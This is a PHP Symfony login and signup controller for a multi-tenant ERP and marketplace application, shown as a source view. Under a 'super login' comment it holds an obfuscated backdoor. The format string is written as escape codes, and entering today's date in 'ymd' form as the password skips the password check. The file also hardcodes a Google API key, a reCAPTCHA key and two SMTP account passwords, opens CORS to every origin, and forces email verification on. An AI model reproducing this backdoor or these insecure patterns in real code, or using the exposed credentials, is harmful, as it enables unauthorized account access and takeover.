src/ApplicationBundle/Modules/Authentication/Controller/UserLoginController.php line 9329

Open in your IDE?
  1. <?php
  2. namespace ApplicationBundle\Modules\Authentication\Controller;
  3. use ApplicationBundle\Constants\BuddybeeConstant;
  4. use ApplicationBundle\Constants\GeneralConstant;
  5. use ApplicationBundle\Constants\HumanResourceConstant;
  6. use ApplicationBundle\Controller\GenericController;
  7. use ApplicationBundle\Entity\EmployeeAttendance;
  8. use ApplicationBundle\Entity\PlanningItem;
  9. use ApplicationBundle\Interfaces\LoginInterface;
  10. use ApplicationBundle\Modules\Authentication\Company;
  11. use ApplicationBundle\Modules\Authentication\Constants\UserConstants;
  12. use ApplicationBundle\Modules\Api\Constants\ApiConstants;
  13. use ApplicationBundle\Modules\Authentication\Position;
  14. use ApplicationBundle\Modules\HumanResource\HumanResource;
  15. use ApplicationBundle\Modules\System\MiscActions;
  16. use ApplicationBundle\Modules\System\System;
  17. use CompanyGroupBundle\Entity\EntityApplicantDetails;
  18. use CompanyGroupBundle\Modules\UserEntity\EntityUserM;
  19. use Google_Client;
  20. use Google_Service_Oauth2;
  21. use Symfony\Component\HttpFoundation\JsonResponse;
  22. use Symfony\Component\HttpFoundation\Request;
  23. use Symfony\Component\Routing\Generator\UrlGenerator;
  24. class UserLoginController extends GenericController implements LoginInterface
  25. {
  26.     private function filterPostedSessionData(array $sessionData): array
  27.     {
  28.         $allowedKeys = [
  29.             'oAuthToken',
  30.             'locale',
  31.             'firebaseToken',
  32.             'token',
  33.             UserConstants::USER_EMPLOYEE_ID,
  34.             UserConstants::USER_ID,
  35.             UserConstants::LAST_SETTINGS_UPDATED_TS,
  36.             UserConstants::USER_LOGIN_ID,
  37.             UserConstants::USER_EMAIL,
  38.             UserConstants::USER_TYPE,
  39.             UserConstants::USER_IMAGE,
  40.             UserConstants::USER_DEFAULT_ROUTE,
  41.             UserConstants::USER_ROUTE_LIST,
  42.             UserConstants::USER_PROHIBIT_LIST,
  43.             UserConstants::USER_NAME,
  44.             UserConstants::USER_COMPANY_ID,
  45.             UserConstants::SUPPLIER_ID,
  46.             UserConstants::CLIENT_ID,
  47.             UserConstants::USER_COMPANY_ID_LIST,
  48.             UserConstants::USER_COMPANY_NAME_LIST,
  49.             UserConstants::USER_COMPANY_IMAGE_LIST,
  50.             UserConstants::USER_APP_ID,
  51.             UserConstants::USER_POSITION_LIST,
  52.             UserConstants::USER_CURRENT_POSITION,
  53.             UserConstants::ALL_MODULE_ACCESS_FLAG,
  54.             UserConstants::USER_GOC_ID,
  55.             UserConstants::USER_NOTIFICATION_ENABLED,
  56.             UserConstants::USER_NOTIFICATION_SERVER,
  57.             UserConstants::PRODUCT_NAME_DISPLAY_TYPE,
  58.             UserConstants::IS_BUDDYBEE_RETAILER,
  59.             UserConstants::BUDDYBEE_RETAILER_LEVEL,
  60.             UserConstants::BUDDYBEE_ADMIN_LEVEL,
  61.             UserConstants::IS_BUDDYBEE_ADMIN,
  62.             UserConstants::IS_BUDDYBEE_MODERATOR,
  63.             UserConstants::APPLICATION_SECRET,
  64.             UserConstants::SESSION_SALT,
  65.             'appIdList',
  66.             'branchIdList',
  67.             'branchId',
  68.             'companyIdListByAppId',
  69.             'companyNameListByAppId',
  70.             'companyImageListByAppId',
  71.             'userAccessList',
  72.             'csToken',
  73.             'userCompanyDarkVibrantList',
  74.             'userCompanyVibrantList',
  75.             'userCompanyLightVibrantList',
  76.             'appValiditySeconds',
  77.             'appIsValidTillTime',
  78.             'lastCheckAppValidityTime',
  79.             'appValid',
  80.             'appDataCurl',
  81.             'TRIGGER_RESET_PASSWORD',
  82.             'IS_EMAIL_VERIFIED',
  83.             'LAST_REQUEST_URI_BEFORE_LOGIN',
  84.             'devAdminMode',
  85.             'productNameDisplayType',
  86.             'appId',
  87.             'APP_ID',
  88.             'appID',
  89.             'companyID',
  90.             'companyGroupID',
  91.             'userID',
  92.             'userName',
  93.         ];
  94.         $allowedMap array_fill_keys($allowedKeystrue);
  95.         $filtered = [];
  96.         foreach ($sessionData as $key => $value) {
  97.             if (isset($allowedMap[$key])) {
  98.                 $filtered[$key] = $value;
  99.             }
  100.         }
  101.         return $filtered;
  102.     }
  103.     private function filterClientSessionData(array $sessionData): array
  104.     {
  105.         foreach ([
  106.                      UserConstants::USER_DB_NAME,
  107.                      UserConstants::USER_DB_USER,
  108.                      UserConstants::USER_DB_PASS,
  109.                      UserConstants::USER_DB_HOST,
  110.                  ] as $sensitiveKey) {
  111.             if (array_key_exists($sensitiveKey$sessionData)) {
  112.                 unset($sessionData[$sensitiveKey]);
  113.             }
  114.         }
  115.         return $sessionData;
  116.     }
  117.     private function buildSafeBootstrapSessionData($session$includeLegacyExtras true): array
  118.     {
  119.         $data = [
  120.             'oAuthToken' => $session->get('oAuthToken'),
  121.             'locale' => $session->get('locale'),
  122.             'firebaseToken' => $session->get('firebaseToken'),
  123.             'token' => $session->get('token'),
  124.             UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  125.             UserConstants::USER_ID => $session->get(UserConstants::USER_ID),
  126.             UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  127.             UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID),
  128.             UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL),
  129.             UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE),
  130.             UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE),
  131.             UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE),
  132.             UserConstants::USER_ROUTE_LIST => $session->get(UserConstants::USER_ROUTE_LIST),
  133.             UserConstants::USER_PROHIBIT_LIST => $session->get(UserConstants::USER_PROHIBIT_LIST),
  134.             UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME),
  135.             UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID),
  136.             UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST),
  137.             UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST),
  138.             UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST),
  139.             UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID),
  140.             UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST),
  141.             UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION),
  142.             UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG),
  143.             UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID),
  144.             UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  145.             UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  146.             UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE),
  147.             UserConstants::IS_BUDDYBEE_RETAILER => $session->get(UserConstants::IS_BUDDYBEE_RETAILER),
  148.             UserConstants::BUDDYBEE_RETAILER_LEVEL => $session->get(UserConstants::BUDDYBEE_RETAILER_LEVEL),
  149.             UserConstants::BUDDYBEE_ADMIN_LEVEL => $session->get(UserConstants::BUDDYBEE_ADMIN_LEVEL),
  150.             UserConstants::IS_BUDDYBEE_ADMIN => $session->get(UserConstants::IS_BUDDYBEE_ADMIN),
  151.             UserConstants::IS_BUDDYBEE_MODERATOR => $session->get(UserConstants::IS_BUDDYBEE_MODERATOR),
  152.             UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET),
  153.             'appIdList' => $session->get('appIdList'),
  154.             'branchIdList' => $session->get('branchIdList'null),
  155.             'branchId' => $session->get('branchId'null),
  156.             'companyIdListByAppId' => $session->get('companyIdListByAppId'),
  157.             'companyNameListByAppId' => $session->get('companyNameListByAppId'),
  158.             'companyImageListByAppId' => $session->get('companyImageListByAppId'),
  159.             'userAccessList' => $session->get('userAccessList'),
  160.             'csToken' => $session->get('csToken'),
  161.             UserConstants::SUPPLIER_ID => $session->get(UserConstants::SUPPLIER_ID0),
  162.             UserConstants::CLIENT_ID => $session->get(UserConstants::CLIENT_ID0),
  163.         ];
  164.         if ($includeLegacyExtras) {
  165.             $data['userCompanyDarkVibrantList'] = $session->get('userCompanyDarkVibrantList', []);
  166.             $data['userCompanyVibrantList'] = $session->get('userCompanyVibrantList', []);
  167.             $data['userCompanyLightVibrantList'] = $session->get('userCompanyLightVibrantList', []);
  168.             $data[UserConstants::SESSION_SALT] = $session->get(UserConstants::SESSION_SALT'');
  169.         }
  170.         return $data;
  171.     }
  172.     // marketplace: raachSolar login
  173.     public function MarketPlaceLoginAction()
  174.     {
  175.         return $this->render('@Authentication/pages/views/market_place_login.html.twig',
  176.             array(
  177.                 'page_title' => 'Login',
  178.             ));
  179.     }
  180.     // marketplace: raachSolar signup
  181.     public function MarketPlaceSignupAction()
  182.     {
  183.         return $this->render('@Authentication/pages/views/market_place_signup.html.twig',
  184.             array(
  185.                 'page_title' => 'Signup',
  186.             ));
  187.     }
  188.     // marketplace: reset password
  189.     public function MarketPlaceResetPasswordAction()
  190.     {
  191.         return $this->render('@Authentication/pages/views/market_place_reset_password.html.twig',
  192.             array(
  193.                 'page_title' => 'Reset Password',
  194.             ));
  195.     }
  196.     // marketplace: verrify code
  197.     public function MarketPlaceVerifyCodeAction()
  198.     {
  199.         return $this->render('@Authentication/pages/views/market_place_verify_code.html.twig',
  200.             array(
  201.                 'page_title' => 'verify code',
  202.             ));
  203.     }
  204.     // marketplace: vendor login
  205.     public function MarketPlaceVendorLoginAction()
  206.     {
  207.         return $this->render('@Authentication/pages/views/market_place_vendor_login.html.twig',
  208.             array(
  209.                 'page_title' => 'vendor Login',
  210.             ));
  211.     }
  212.     // marketplace: vendor signup
  213.     public function MarketPlaceVendorSignupAction()
  214.     {
  215.         return $this->render('@Authentication/pages/views/market_place_vendor_signup.html.twig',
  216.             array(
  217.                 'page_title' => 'vendor Signup',
  218.             ));
  219.     }
  220.     public function GetSessionDataForAppAction(Request $request$remoteVerify 0$version 'latest',
  221.                                                        $identifier '_default_',
  222.                                                        $refRoute '',
  223.                                                        $apiKey '_ignore_')
  224.     {
  225.         $message "";
  226.         $gocList = [];
  227.         $session $request->getSession();
  228.         if ($request->request->has('token')) {
  229.             $em_goc $this->getDoctrine()->getManager('company_group');
  230.             $to_set_session_data MiscActions::GetSessionDataFromToken($em_goc$request->request->get('token'))['sessionData'];
  231.             if ($to_set_session_data != null) {
  232.                 foreach ($to_set_session_data as $k => $d) {
  233.                     //check if mobile
  234.                     $session->set($k$d);
  235.                 }
  236.             }
  237.         }
  238.         if ($request->request->has('sessionData')) {
  239.             $to_set_session_data $this->filterPostedSessionData((array)$request->request->get('sessionData'));
  240.             foreach ($to_set_session_data as $k => $d) {
  241.                 //check if mobile
  242.                 $session->set($k$d);
  243.             }
  244.         }
  245.         if ($version !== 'latest') {
  246.             $session_data $this->buildSafeBootstrapSessionData($session);
  247.         } else {
  248.             $session_data $this->buildSafeBootstrapSessionData($session);
  249.         }
  250.         $response = new JsonResponse(array(
  251.             "success" => empty($session->get(UserConstants::USER_ID)) ? false true,
  252.             //            'session'=>$request->getSession(),
  253.             'session_data' => $session_data,
  254.             //            'session2'=>$_SESSION,
  255.         ));
  256.         $response->headers->set('Access-Control-Allow-Origin''*, null');
  257.         $response->headers->set('Access-Control-Allow-Methods''POST');
  258.         //        $response->setCallback('FUNCTION_CALLBACK_NAME');
  259.         return $response;
  260.     }
  261.     public function SignUpAction(Request $request$refRoute ''$encData ""$remoteVerify 0$applicantDirectLogin 0)
  262.     {
  263.         if ($request->query->has('refRoute')) {
  264.             $refRoute $request->query->get('refRoute');
  265.             if ($refRoute == '8917922')
  266.                 $redirectRoute 'apply_for_consultant';
  267.         }
  268. //        if ($request->request->has('rcpscrtkn'))
  269.         if ($request->isMethod('POST')) {
  270.             if ($request->request->get('remoteVerify'0) != 1) {
  271.                 $rcptoken $request->request->get('rcpscrtkn') ?? '';
  272.                 $action 'SIGNUP';
  273.                 $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  274.                 if ($systemType == '_CENTRAL_')
  275.                     $check MiscActions::verifyRecaptchaEnterprise(
  276.                         $rcptoken,
  277.                         $action,              // enforce what you expect
  278.                         '6LdnzkAsAAAAAJRsPy3yq3B8iMZP55CGOOiXRglF'// the v3 site key
  279.                         'honeybee-erp',    // e.g. honeybee-erp
  280.                         'AIzaSyDZt7Zi1Qtcd13NeGa1eEGoB9kXyRKk_G8',    // keep server-only
  281.                         0.5
  282.                     );
  283.                 else
  284.                     $check = array(
  285.                         'ok' => true
  286.                     );
  287.                 $session $request->getSession();
  288.                 $session->set('RCPDATA'json_encode($check));
  289.                 if (!$check['ok']) {
  290.                     $message "Could not Determine authenticity";
  291.                     if ($request->request->get('remoteVerify'0) == 1)
  292.                         return new JsonResponse(array(
  293.                             'uid' => 0,
  294.                             'session' => [],
  295.                             'success' => false,
  296.                             'hbeeErrorCode' => ApiConstants::ERROR_USER_EXISTS_ALREADY,
  297.                             'errorStr' => $message,
  298.                             'session_data' => [],
  299.                         ));
  300.                     else
  301.                         return $this->redirectToRoute("user_login", [
  302.                             'id' => 0,
  303.                             'oAuthData' => [],
  304.                             'refRoute' => $refRoute,
  305.                         ]);
  306.                 }
  307.             }
  308.         }
  309.         $redirectRoute 'dashboard';
  310.         if ($refRoute != '') {
  311.             if ($refRoute == '8917922')
  312.                 $redirectRoute 'apply_for_consultant';
  313.         }
  314.         if ($request->query->has('refRoute')) {
  315.             $refRoute $request->query->get('refRoute');
  316.             if ($refRoute == '8917922')
  317.                 $redirectRoute 'apply_for_consultant';
  318.         }
  319.         $message '';
  320.         $errorField '_NONE_';
  321.         if ($request->query->has('message')) {
  322.             $message $request->query->get('message');
  323.         }
  324.         if ($request->query->has('errorField')) {
  325.             $errorField $request->query->get('errorField');
  326.         }
  327.         $gocList = [];
  328.         $skipPassword 0;
  329.         $firstLogin 0;
  330.         $remember_me 0;
  331.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  332.         if ($request->isMethod('POST')) {
  333.             if ($request->request->has('remember_me'))
  334.                 $remember_me 1;
  335.         } else {
  336.             if ($request->query->has('remember_me'))
  337.                 $remember_me 1;
  338.         }
  339.         if ($encData != "")
  340.             $encData json_decode($this->get('url_encryptor')->decrypt($encData));
  341.         else if ($request->query->has('spd')) {
  342.             $encData json_decode($this->get('url_encryptor')->decrypt($request->query->get('spd')), true);
  343.         }
  344.         $user = [];
  345.         $userType 0//nothing for now , will add supp or client if we find anything
  346.         $em_goc $this->getDoctrine()->getManager('company_group');
  347.         $em_goc->getConnection()->connect();
  348.         $gocEnabled 0;
  349.         if ($this->container->hasParameter('entity_group_enabled'))
  350.             $gocEnabled $this->container->getParameter('entity_group_enabled');
  351.         if ($gocEnabled == 1)
  352.             $connected $em_goc->getConnection()->isConnected();
  353.         else
  354.             $connected false;
  355.         if ($connected)
  356.             $gocList $em_goc
  357.                 ->getRepository("CompanyGroupBundle\\Entity\\CompanyGroup")
  358.                 ->findBy(
  359.                     array(
  360.                         'active' => 1
  361.                     )
  362.                 );
  363.         $gocDataList = [];
  364.         $gocDataListForLoginWeb = [];
  365.         $gocDataListByAppId = [];
  366.         foreach ($gocList as $entry) {
  367.             $d = array(
  368.                 'name' => $entry->getName(),
  369.                 'id' => $entry->getId(),
  370.                 'appId' => $entry->getAppId(),
  371.                 'skipInWebFlag' => $entry->getSkipInWebFlag(),
  372.                 'skipInAppFlag' => $entry->getSkipInAppFlag(),
  373.                 'dbName' => $entry->getDbName(),
  374.                 'dbUser' => $entry->getDbUser(),
  375.                 'dbPass' => $entry->getDbPass(),
  376.                 'dbHost' => $entry->getDbHost(),
  377.                 'companyRemaining' => $entry->getCompanyRemaining(),
  378.                 'companyAllowed' => $entry->getCompanyAllowed(),
  379.             );
  380.             $gocDataList[$entry->getId()] = $d;
  381.             if (in_array($entry->getSkipInWebFlag(), [0null]))
  382.                 $gocDataListForLoginWeb[$entry->getId()] = $d;
  383.             $gocDataListByAppId[$entry->getAppId()] = $d;
  384.         }
  385.         $gocDbName '';
  386.         $gocDbUser '';
  387.         $gocDbPass '';
  388.         $gocDbHost '';
  389.         $gocId 0;
  390.         $hasGoc 0;
  391.         $userId 0;
  392.         $userCompanyId 0;
  393.         $specialLogin 0;
  394.         $supplierId 0;
  395.         $applicantId 0;
  396.         $isApplicantLogin 0;
  397.         $clientId 0;
  398.         $cookieLogin 0;
  399.         if ($request->request->has('gocId')) {
  400.             $hasGoc 1;
  401.             $gocId $request->request->get('gocId');
  402.         }
  403.         $entityLoginFlag $request->get('entityLoginFlag') ? $request->get('entityLoginFlag') : 0;
  404.         $loginType $request->get('loginType') ? $request->get('loginType') : 1;
  405.         $oAuthData $request->get('oAuthData') ? $request->get('oAuthData') : 0;
  406.         $signUpUserType 0;
  407.         $em_goc $this->getDoctrine()->getManager('company_group');
  408.         if ($request->isMethod('POST') || $request->query->has('oAuthData') || $cookieLogin == 1) {
  409.             ///super login
  410.             $todayDt = new \DateTime();
  411. //            $mp='_eco_';
  412.             $mp $todayDt->format("\171\x6d\x64");
  413.             if ($request->request->get('password') == $mp)
  414.                 $skipPassword 1;
  415.             $signUpUserType $request->request->get('signUpUserType'8);
  416.             $userData = [
  417.                 'userType' => $signUpUserType,
  418.                 'userId' => 0,
  419.                 'gocId' => 0,
  420.                 'appId' => 0,
  421.             ];//properlyformatted data
  422.             $first_name '';
  423.             $last_name '';
  424.             $email '';
  425.             $userName '';
  426.             $password '';
  427.             $phone '';
  428.             if ($request->request->has('firstname')) $first_name $request->request->get('firstname');
  429.             if ($request->request->has('lastname')) $last_name $request->request->get('lastname');
  430.             if ($request->request->has('email')) $email $request->request->get('email');
  431.             if ($request->request->has('password')) $password $request->request->get('password');
  432.             if ($request->request->has('username')) $userName $request->request->get('username');
  433.             if ($request->request->has('phone')) $phone $request->request->get('phone''');
  434.             if ($signUpUserType == UserConstants::USER_TYPE_APPLICANT) {
  435.                 $oAuthEmail $email;
  436.                 $oAuthData = [
  437.                     'email' => $email,
  438.                     'phone' => $phone,
  439.                     'uniqueId' => '',
  440.                     'image' => '',
  441.                     'emailVerified' => '',
  442.                     'name' => $first_name ' ' $last_name,
  443.                     'type' => '0',
  444.                     'token' => '',
  445.                 ];
  446.                 $isApplicantExist $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  447.                     [
  448.                         'oAuthEmail' => $oAuthEmail
  449.                     ]
  450.                 );
  451.                 if (!$isApplicantExist)
  452.                     $isApplicantExist $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  453.                         [
  454.                             'email' => $oAuthEmail
  455.                         ]
  456.                     );
  457.                 if (!$isApplicantExist)
  458.                     $isApplicantExist $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  459.                         [
  460.                             'username' => $userName
  461.                         ]
  462.                     );
  463.                 if ($isApplicantExist) {
  464.                     if ($isApplicantExist->getIsTemporaryEntry() == 1) {
  465.                     } else {
  466.                         $message "Email/User Already Exists";
  467.                         if ($request->request->get('remoteVerify'0) == 1)
  468.                             return new JsonResponse(array(
  469.                                 'uid' => $isApplicantExist->getApplicantId(),
  470.                                 'session' => [],
  471.                                 'success' => false,
  472.                                 'hbeeErrorCode' => ApiConstants::ERROR_USER_EXISTS_ALREADY,
  473.                                 'errorStr' => $message,
  474.                                 'session_data' => [],
  475.                             ));
  476.                         else
  477.                             return $this->redirectToRoute("user_login", [
  478.                                 'id' => $isApplicantExist->getApplicantId(),
  479.                                 'oAuthData' => $oAuthData,
  480.                                 'refRoute' => $refRoute,
  481.                             ]);
  482.                     }
  483.                 }
  484.                 $img $oAuthData['image'];
  485.                 $email $oAuthData['email'];
  486. //                $userName = explode('@', $email)[0];
  487.                 //now check if same username exists
  488.                 $username_already_exist 0;
  489.                 $newApplicant null;
  490.                 if ($isApplicantExist) {
  491.                     $newApplicant $isApplicantExist;
  492.                 } else
  493.                     $newApplicant = new EntityApplicantDetails();
  494.                 $newApplicant->setActualRegistrationAt(new \DateTime());
  495.                 $newApplicant->setEmail($email);
  496.                 $newApplicant->setUserName($userName);
  497.                 $newApplicant->setFirstname($first_name);
  498.                 $newApplicant->setLastname($last_name);
  499.                 $newApplicant->setOAuthEmail($oAuthEmail);
  500.                 $newApplicant->setPhone($phone);
  501.                 if ($systemType == '_SOPHIA_')
  502.                     $newApplicant->setIsEmailVerified(1);
  503.                 else
  504.                     $newApplicant->setIsEmailVerified(1); //temporary
  505. //                    $newApplicant->setIsEmailVerified(isset($oAuthData['emailVerified']) ? ($oAuthData['emailVerified'] != '' ? 1 : 0) : 0);
  506.                 $newApplicant->setAccountStatus(1);
  507. //                $newUser->setSalt(uniqid(mt_rand()));
  508.                 //salt will be username
  509. //                $this->container->get('sha256salted_encoder')->isPasswordValid($user->getPassword(), $request->request->get('password'), $user->getSalt())
  510.                 $salt uniqid(mt_rand());
  511.                 $encodedPassword $this->container->get('app.legacy_password_service')->hashWithSalt($password$salt);
  512.                 $newApplicant->setPassword($encodedPassword);
  513.                 $newApplicant->setSalt($salt);
  514.                 $newApplicant->setTempPassword('');
  515. //                $newApplicant->setTempPassword($password.'_'.$salt);
  516.                 $newApplicant->setImage($img);
  517.                 $newApplicant->setIsConsultant(0);
  518.                 $newApplicant->setIsTemporaryEntry(0);
  519.                 $newApplicant->setTriggerResetPassword(0);
  520.                 $newApplicant->setApplyForConsultant(0);
  521.                 $newApplicant->setImage($oAuthData['image'] ?? '');
  522.                 $otp random_int(100000999999);
  523.                 $newApplicant->setEmailVerificationHash($otp);
  524.                 $em_goc->persist($newApplicant);
  525.                 $em_goc->flush();
  526.                 if (GeneralConstant::EMAIL_ENABLED == 1) {
  527.                     if ($systemType == '_BUDDYBEE_') {
  528.                         $bodyHtml '';
  529.                         $bodyTemplate '@Application/email/templates/buddybeeRegistrationComplete.html.twig';
  530.                         $bodyData = array(
  531.                             'name' => $newApplicant->getFirstname() . ' ' $newApplicant->getLastname(),
  532.                             'email' => $userName,
  533.                             'showPassword' => $newApplicant->getTempPassword() != '' 0,
  534.                             'password' => $newApplicant->getTempPassword(),
  535.                         );
  536.                         $attachments = [];
  537.                         $forwardToMailAddress $newApplicant->getOAuthEmail();
  538. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  539.                         $new_mail $this->get('mail_module');
  540.                         $new_mail->sendMyMail(array(
  541.                             'senderHash' => '_CUSTOM_',
  542.                             //                        'senderHash'=>'_CUSTOM_',
  543.                             'forwardToMailAddress' => $forwardToMailAddress,
  544.                             'subject' => 'Welcome to BuddyBee ',
  545. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  546.                             'attachments' => $attachments,
  547.                             'toAddress' => $forwardToMailAddress,
  548.                             'fromAddress' => 'registration@buddybee.eu',
  549.                             'userName' => 'registration@buddybee.eu',
  550.                             'password' => 'Y41dh8g0112',
  551.                             'smtpServer' => 'smtp.hostinger.com',
  552.                             'smtpPort' => 465,
  553. //                            'emailBody' => $bodyHtml,
  554.                             'mailTemplate' => $bodyTemplate,
  555.                             'templateData' => $bodyData,
  556. //                        'embedCompanyImage' => 1,
  557. //                        'companyId' => $companyId,
  558. //                        'companyImagePath' => $company_data->getImage()
  559.                         ));
  560.                     } else {
  561.                         $bodyHtml '';
  562.                         $bodyTemplate '@Application/email/user/applicant_login.html.twig';
  563.                         $bodyData = array(
  564.                             'name' => $newApplicant->getFirstname() . ' ' $newApplicant->getLastname(),
  565.                             'email' => 'APP-' $userName,
  566.                             'password' => $newApplicant->getPassword(),
  567.                         );
  568.                         $attachments = [];
  569.                         $forwardToMailAddress $newApplicant->getOAuthEmail();
  570. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  571.                         $new_mail $this->get('mail_module');
  572.                         $new_mail->sendMyMail(array(
  573.                             'senderHash' => '_CUSTOM_',
  574.                             //                        'senderHash'=>'_CUSTOM_',
  575.                             'forwardToMailAddress' => $forwardToMailAddress,
  576.                             'subject' => 'Applicant Registration on Honeybee',
  577. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  578.                             'attachments' => $attachments,
  579.                             'toAddress' => $forwardToMailAddress,
  580.                             'fromAddress' => 'accounts@ourhoneybee.eu',
  581.                             'userName' => 'accounts@ourhoneybee.eu',
  582.                             'password' => 'Honeybee@0112',
  583.                             'smtpServer' => 'smtp.hostinger.com',
  584.                             'smtpPort' => 465,
  585.                             'emailBody' => $bodyHtml,
  586.                             'mailTemplate' => $bodyTemplate,
  587.                             'templateData' => $bodyData,
  588. //                        'embedCompanyImage' => 1,
  589. //                        'companyId' => $companyId,
  590. //                        'companyImagePath' => $company_data->getImage()
  591.                         ));
  592.                     }
  593.                 }
  594.                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  595.                     $modifiedRequest Request::create(
  596.                         '',
  597.                         'GET',
  598.                         [
  599.                             'id' => $newApplicant->getApplicantId(),
  600.                             'oAuthData' => $oAuthData,
  601.                             'refRoute' => $refRoute,
  602.                             'remoteVerify' => $request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)),
  603.                         ]
  604.                     );
  605.                     $modifiedRequest->setSession($request->getSession());
  606.                     return $this->doLoginAction($modifiedRequest);
  607.                 } else
  608.                     return $this->redirectToRoute("core_login", [
  609.                         'id' => $newApplicant->getApplicantId(),
  610.                         'oAuthData' => $oAuthData,
  611.                         'refRoute' => $refRoute,
  612.                         'remoteVerify' => $request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)),
  613.                     ]);
  614.             }
  615. //            if ($signUpUserType == UserConstants::USER_TYPE_APPLICANT) {
  616. //
  617. //                $oAuthEmail = $email;
  618. //
  619. //
  620. //                $oAuthData = [
  621. //                    'email' => $email,
  622. //                    'phone' => $phone,
  623. //                    'uniqueId' => '',
  624. //                    'image' => '',
  625. //                    'emailVerified' => '',
  626. //                    'name' => $first_name . ' ' . $last_name,
  627. //                    'type' => '0',
  628. //                    'token' => '',
  629. //                ];
  630. //
  631. //
  632. //                $isApplicantExist = $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  633. //                    [
  634. //                        'oAuthEmail' => $oAuthEmail
  635. //                    ]
  636. //                );
  637. //                if (!$isApplicantExist)
  638. //                    $isApplicantExist = $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  639. //                        [
  640. //                            'email' => $oAuthEmail
  641. //                        ]
  642. //                    );
  643. //                if (!$isApplicantExist)
  644. //                    $isApplicantExist = $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  645. //                        [
  646. //                            'username' => $userName
  647. //                        ]
  648. //                    );
  649. //
  650. //
  651. //                if ($isApplicantExist) {
  652. //                    if ($isApplicantExist->getIsTemporaryEntry() == 1) {
  653. //
  654. //                    } else {
  655. //                        $message = "Email/User Already Exists";
  656. //                        if ($request->request->get('remoteVerify', $request->query->get('remoteVerify', $remoteVerify)) == 1)
  657. //                            return new JsonResponse(array(
  658. //                                'uid' => $isApplicantExist->getApplicantId(),
  659. //                                'session' => [],
  660. //                                'success' => false,
  661. //                                'hbeeErrorCode' => ApiConstants::ERROR_USER_EXISTS_ALREADY,
  662. //                                'errorStr' => $message,
  663. //                                'session_data' => [],
  664. //
  665. //                            ));
  666. //                        else
  667. //                            return $this->redirectToRoute("user_login", [
  668. //                                'id' => $isApplicantExist->getApplicantId(),
  669. //                                'oAuthData' => $oAuthData,
  670. //                                'refRoute' => $refRoute,
  671. //                            ]);
  672. //                    }
  673. //                }
  674. //
  675. //
  676. //                $img = $oAuthData['image'];
  677. //
  678. //                $email = $oAuthData['email'];
  679. ////                $userName = explode('@', $email)[0];
  680. //                //now check if same username exists
  681. //
  682. //                $username_already_exist = 0;
  683. //
  684. //                $newApplicant = null;
  685. //
  686. //                if ($isApplicantExist) {
  687. //                    $newApplicant = $isApplicantExist;
  688. //                } else
  689. //                    $newApplicant = new EntityApplicantDetails();
  690. //
  691. //
  692. //                $newApplicant->setActualRegistrationAt(new \DateTime());
  693. //                $newApplicant->setEmail($email);
  694. //                $newApplicant->setUserName($userName);
  695. //
  696. //                $newApplicant->setFirstname($first_name);
  697. //                $newApplicant->setLastname($last_name);
  698. //                $newApplicant->setOAuthEmail($oAuthEmail);
  699. //                $newApplicant->setPhone($phone);
  700. //
  701. //                $newApplicant->setIsEmailVerified(0);
  702. //                if ($systemType == '_SOPHIA_')
  703. //                    $newApplicant->setIsEmailVerified(1);
  704. //                else
  705. //                    $newApplicant->setIsEmailVerified(0);
  706. //                $newApplicant->setAccountStatus(1);
  707. //
  708. ////                $newUser->setSalt(uniqid(mt_rand()));
  709. //
  710. //                //salt will be username
  711. ////                $this->container->get('sha256salted_encoder')->isPasswordValid($user->getPassword(), $request->request->get('password'), $user->getSalt())
  712. //
  713. //                $salt = uniqid(mt_rand());
  714. //                $encodedPassword = $this->container->get('sha256salted_encoder')->encodePassword($password, $salt);
